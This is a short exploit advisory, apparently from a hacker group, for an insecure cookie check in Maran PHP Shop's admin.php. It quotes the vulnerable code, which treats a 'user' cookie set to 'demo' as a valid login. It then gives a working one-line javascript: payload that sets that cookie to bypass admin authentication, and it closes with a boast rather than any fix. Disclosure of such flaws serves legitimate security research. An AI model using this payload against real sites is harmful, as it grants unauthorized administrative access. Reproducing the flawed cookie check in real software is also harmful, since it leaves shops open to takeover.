Maran PHP Shop (admin.php) Insecure Cookie Handling Vulnerability

# Maran PHP Shop (admin.php) Insecure Cookie Handling Vulnerability # url: http://www.maran.pamil-visions.com/maranshop.php # # Author: JosS # mail: sys-project[at]hotmail[dot]com # site: http://spanish-hackers.com # team: Spanish Hackers Team - [SHT] # # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. vuln file: /admin.php vuln code: <? $readcookie = $_COOKIE['user']; if($readcookie!="demo"){echo "error 467. bad login! <a href='login.php'>login here</a>";exit;} //echo $_COOKIE['user']; ?> exploit: javascript:document.cookie = "user=demo; path=/"; Hack0wn :D